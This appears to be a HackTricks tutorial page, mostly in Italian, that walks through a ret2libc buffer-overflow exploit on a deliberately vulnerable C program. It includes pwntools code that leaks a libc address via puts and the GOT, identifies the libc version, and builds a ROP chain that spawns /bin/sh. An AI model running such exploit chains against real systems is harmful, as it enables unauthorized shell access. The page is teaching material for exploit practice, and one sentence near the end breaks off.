Leaking libc address with ROP

Support HackTricks

Quick Resume

  1. Trova l'offset di overflow

  2. Trova gadget POP_RDI, gadget PUTS_PLT e gadget MAIN

  3. Usa i gadget precedenti per leak l'indirizzo di memoria di puts o di un'altra funzione libc e trova la versione di libc (scaricalo)

  4. Con la libreria, calcola il ROP e sfruttalo

Other tutorials and binaries to practice

This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Another useful tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Filename: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Scarica l'exploit e posizionalo nella stessa directory del binario vulnerabile e fornisci i dati necessari allo script:

Leaking libc - template

1- Trovare l'offset

Il template ha bisogno di un offset prima di continuare con l'exploit. Se ne viene fornito uno, eseguirà il codice necessario per trovarlo (per impostazione predefinita OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Esegui python template.py si aprirà una console GDB con il programma che si è bloccato. All'interno di quella console GDB esegui x/wx $rsp per ottenere i byte che stavano per sovrascrivere il RIP. Infine, ottieni il offset utilizzando una console python:

from pwn import *
cyclic_find(0x6161616b)

Dopo aver trovato l'offset (in questo caso 40), cambia la variabile OFFSET all'interno del template utilizzando quel valore. OFFSET = "A" * 40

Un altro modo sarebbe usare: pattern create 1000 -- esegui fino a ret -- pattern seach $rsp da GEF.

2- Trovare Gadget

Ora dobbiamo trovare gadget ROP all'interno del binario. Questi gadget ROP saranno utili per chiamare puts per trovare la libc in uso, e successivamente per lanciare l'exploit finale.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Il PUTS_PLT è necessario per chiamare la funzione puts. Il MAIN_PLT è necessario per richiamare la funzione main dopo un'interazione per sfruttare nuovamente il overflow ancora (giri infiniti di sfruttamento). Viene utilizzato alla fine di ogni ROP per richiamare nuovamente il programma. Il POP_RDI è necessario per passare un parametro alla funzione chiamata.

In questo passaggio non è necessario eseguire nulla poiché tutto sarà trovato da pwntools durante l'esecuzione.

3- Trovare la libreria libc

Ora è il momento di scoprire quale versione della libreria libc viene utilizzata. Per farlo, andremo a leak l'indirizzo in memoria della funzione puts e poi andremo a cercare in quale versione della libreria si trova la versione di puts in quell'indirizzo.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Per fare ciò, la linea più importante del codice eseguito è:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Questo invierà alcuni byte fino a quando sovrascrivere il RIP è possibile: OFFSET. Poi, imposterà l'indirizzo del gadget POP_RDI in modo che il prossimo indirizzo (FUNC_GOT) sarà salvato nel registro RDI. Questo perché vogliamo chiamare puts passandogli l'indirizzo di PUTS_GOT poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da PUTS_GOT. Dopo di che, verrà chiamato PUTS_PLT (con PUTS_GOT all'interno del RDI) in modo che puts legga il contenuto all'interno di PUTS_GOT (l'indirizzo della funzione puts in memoria) e lo stampi. Infine, la funzione main viene chiamata di nuovo così possiamo sfruttare di nuovo il buffer overflow.

In questo modo abbiamo ingannato la funzione puts per stampare l'indirizzo in memoria della funzione puts (che si trova all'interno della libreria libc). Ora che abbiamo quell'indirizzo possiamo cercare quale versione di libc viene utilizzata.

Poiché stiamo sfruttando un binario locale, non è necessario scoprire quale versione di libc viene utilizzata (basta trovare la libreria in /lib/x86_64-linux-gnu/libc.so.6). Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:

3.1- Ricerca della versione di libc (1)

Puoi cercare quale libreria viene utilizzata nella pagina web: https://libc.blukat.me/ Ti permetterà anche di scaricare la versione di libc scoperta.

3.2- Ricerca della versione di libc (2)

Puoi anche fare:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Questo richiederà del tempo, sii paziente. Per farlo funzionare abbiamo bisogno di:

  • Nome del simbolo libc: puts

  • Indirizzo libc leakato: 0x7ff629878690

Possiamo capire quale libc è molto probabilmente utilizzata.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Otteniamo 2 corrispondenze (dovresti provare la seconda se la prima non funziona). Scarica la prima:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copia la libc da libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so nella nostra directory di lavoro.

3.3- Altre funzioni da leak

puts
printf
__libc_start_main
read
gets

4- Trovare l'indirizzo libc basato e sfruttare

A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò solo: /lib/x86_64-linux-gnu/libc.so.6

Quindi, all'inizio di template.py, cambia la variabile libc in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Imposta il percorso della libreria quando lo conosci

Fornendo il percorso alla libreria libc, il resto dell'exploit verrà calcolato automaticamente.

All'interno della funzione get_addr, verrà calcolato il base address di libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Nota che l'indirizzo finale della base libc deve terminare in 00. Se non è il tuo caso, potresti aver leakato una libreria errata.

Quindi, l'indirizzo della funzione system e l'indirizzo della stringa "/bin/sh" verranno calcolati dalla base address della libc e forniti alla libreria libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Finalmente, l'exploit per l'esecuzione di /bin/sh verrà preparato e inviato:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Let's explain this final ROP. L'ultimo ROP (rop1) ha terminato chiamando di nuovo la funzione main, quindi possiamo sfruttare di nuovo il overflow (ecco perché l'OFFSET è qui di nuovo). Poi, vogliamo chiamare POP_RDI puntando all'indirizzo di "/bin/sh" (BINSH) e chiamare la funzione system (SYSTEM) perché l'indirizzo di "/bin/sh" sarà passato come parametro. Infine, l'indirizzo della funzione exit è chiamato in modo che il processo esca in modo ordinato e non venga generato alcun avviso.

In questo modo l'exploit eseguirà una _/bin/sh_** shell.**

4(2)- Using ONE_GADGET

Potresti anche usare ONE_GADGET per ottenere una shell invece di usare system e "/bin/sh". ONE_GADGET troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un indirizzo ROP. Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come [rsp+0x30] == NULL. Poiché controlli i valori all'interno del RSP, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FILE DI ESPLOITAZIONE

Puoi trovare un modello per sfruttare questa vulnerabilità qui:

Leaking libc - template

Problemi comuni

MAIN_PLT = elf.symbols['main'] non trovato

Se il simbolo "main" non esiste. Allora puoi trovare dove si trova il codice principale:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

e impostare l'indirizzo manualmente:

MAIN_PLT = 0x401080

Puts non trovato

Se il binario non utilizza Puts, dovresti controllare se sta usando

sh: 1: %s%s%s%s%s%s%s%s: non trovato

Se trovi questo errore dopo aver creato tutti gli exploit: sh: 1: %s%s%s%s%s%s%s%s: non trovato

Prova a sottrarre 64 byte all'indirizzo di "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Supporta HackTricks

Last updated